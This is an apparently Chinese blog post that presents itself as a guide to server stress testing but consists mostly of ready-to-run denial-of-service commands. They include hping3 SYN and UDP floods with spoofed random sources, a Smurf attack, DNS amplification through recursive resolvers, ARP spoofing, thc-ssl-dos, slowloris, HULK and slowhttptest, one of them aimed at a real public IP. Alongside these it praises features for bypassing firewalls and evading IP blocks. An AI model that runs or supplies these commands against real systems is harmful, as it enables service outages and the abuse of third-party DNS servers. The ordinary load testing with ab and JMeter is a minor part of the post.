平时我们也会进行一些压力测试,来确认服务器的稳定性,以保证在极多用户访问的时候,服务器依然能够运行,下面我简单介绍几种常见的压力测试方法。
SYN flood:
hping3 -S --flood -V 192.168.2.129
hping3 -S --flood -V -p TARGET_PORT TARGET_SITE
hping3 -c 20000 -d 120 -S -w 64 -p TARGET_PORT --flood --rand-source TARGET_SITE
hping3 -S -U --flood -V --rand-source 192.168.2.130
hping3 --flood --rand-source --udp -p TARGET_PORT TARGET_IP
Smurf Attack:
hping3 --icmp --spoof TARGET_IP BROADCAST_IP
DNS Amplification:
收集当前网段的DNS服务器:./tsunami -o recursive_dns.txt -l 4 -e 172.0.0.0/8
攻击目标IP:./tsunami -s TARGET_IP -n pentest.blog -p 3 -f recursive_dns.txt
netstress.fullrandom -d TARGET_DNS_SERVER -a dns -t a -n 4 -P 53
参考链接:https://pentest.blog/how-to-perform-ddos-test-as-a-pentester/
ifconfig
fping -asg 10.10.167.0/24 #得出局域网结构
arpspoof -i eth0 -t 10.10.167.129 10.10.167.127
root@kali:~# thc-ssl-dos -l 1000 --accept 103.235.46.39:443
root@kali:~# t50 --flood 192.168.2.127
# 备注这个压力测试能过针对各种路由协议协议,也可以进行TCP/UDP协议进行攻击,由于篇幅有限,这里只是简单点一下这些功能。希望同学们能够对对于其中的参数和协议进行多谢的探索,多折腾。
root@kali:~# inviteflood eth0 5000 example.local 192.168.1.5 1000
root@kali:/# leafpad /root/batchaccess#新建文件,写入下面的语句
siege -i -c 300 -r 10 -t 2M -b -v -f /root/blog.txt
root@kali:/# crontab -u root /root/batchaccess
root@kali:/# leafpad /var/log/siege.log
root@kali:/# cat /var/log/syslog |grep "siege"
root@kali:~# slowhttptest -c 1000 -H -g -o slowhttp -i 10 -r 200 -t GET -u http://192.168.1.202/index.php -x 24 -p 3
root@kali:~# nmap -T5 -v --max-parallelism 600000 --script http-slowloris 192.168.1.202#使用nmap 的脚本扫描功能。
root@kali:~# python hulk.py -site http://TARGET.com/test/
root@kali:~# ./slowloris.pl -dns TARGET_URL -port 80 -num 200 -timeout 30
root@kali:~# mz -A rand -B TARGET_DNS_SERVER -t dns "q=pentest.blog" -c 10000000
① 无需登录
cd C:\apache\Apache24\bin
ab -n 100 -c 10 http://test.com/
② 需要登录
如果只用到一个Cookie,那么只需键入命令:
ab -n 100 -C key=value http://test.com/
如果需要多个Cookie,就直接设Header:
ab -n 100 -H “Cookie: Key1=Value1; Key2=Value2” http://test.com/
总得来说,这款工具对于小网站,小带宽来说,还是挺有代表性的,其中可以绕过防火墙和耗尽主机资源这些功能还是不错。其本质是不断发送请求,并且忽略服务器的回应,导致服务器保持大量的半连接或者连接处于等待状态的连接,导致主机分配多大的资源处理这些请求。
这个属于HTTP连接请求攻击,本质就是不断模拟浏览器发送请求而不响应请求,此外它能够导入IP进行随机IP碰撞,这个对于避免IP封锁很有帮助。并且还有random X-forwarded-for、random clients-ip、ip-proxy等非常实用的功能。
低轨道离子炮(LOIC)是一个开源的网站压力测试和抗拒绝服务测试工具,由C#语言开发。最初LOIC由Praetox科技开发,目前由开源社区维护。LOIC可以通过TCP或UDP洪水的方式形成拒绝服务攻击(DoS),因而可能打断业务正常运行,安全和测试人员在做评估网站压力测试时,请谨慎使用
4 JMeter
Apache JMeter可用于测试静态和动态的资源、Web动态应用程序的性能。它可以用于模拟产生对服务器,服务器组,网络或对象的过大负载,以测试其强度或分析不同负载类型下的整体性能。
总的来说,命令行的测试方式往往效果好,因为在命令行模式不会有图形界面崩溃的情况,使用图形界面虽然操作方便,但是发送过大的流量往往会导致图形界面停止运行或者崩溃等等情况。使用命令行工具其实需要知道的参数也是那么几个。所以一般压力测试的时候建议使用命令行的工具。
参考链接:
https://pentest.blog/how-to-perform-ddos-test-as-a-pentester/
http://www.certbros.com/featured/osi-model-explained/
http://www.riorey.com/types-of-ddos-attacks/
https://en.wikipedia.org/wiki/SYN_flood
http://www.g-netdatacenter.com/2016/09/26/smurf-attacks/
欢迎大家分享更好的思路,热切期待^^_^^